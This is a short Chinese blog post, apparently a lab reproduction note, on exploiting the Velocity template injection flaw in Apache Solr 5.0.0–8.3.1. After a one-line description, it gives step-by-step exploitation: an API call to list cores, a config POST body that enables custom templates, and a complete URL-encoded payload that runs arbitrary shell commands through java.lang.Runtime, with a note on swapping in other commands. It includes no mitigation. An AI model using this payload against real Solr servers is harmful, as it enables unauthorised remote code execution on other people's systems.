赞
踩
漏洞描述
Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。
影响范围
Apache Solr 5.0.0 ~8.3.1
漏洞利用
(1)默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。可以先通过如下API获取所有的核心在vulhub中核心就是demo通过下边API获取所有内核名称
第一步:访问特定url启用配置params.resource.loader.enabled,其中API路径包含core名称访问/solr/admin/cores?indexInfo=false&wt=json
(2)启用配置 params.resource.loader.enabled 为true,在url访问/solr/demo/config,burpsuit抓包 改成POST然后修改启动配置添加请求体
- Content-Length: 259
-
- {
- "update-queryresponsewriter": {
- "startup": "lazy",
- "name": "velocity",
- "class": "solr.VelocityResponseWriter",
- "template.base.dir": "",
- "solr.resource.loader.enabled": "true",
- "params.resource.loader.enabled": "true"
- }
- }
(3)通过Velocity模板执行命令,如hostname。修改exec(%27hostname%27)中的代码即可更改命令。
payload:
/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20/tmp%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
若有收获,就点个赞吧
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。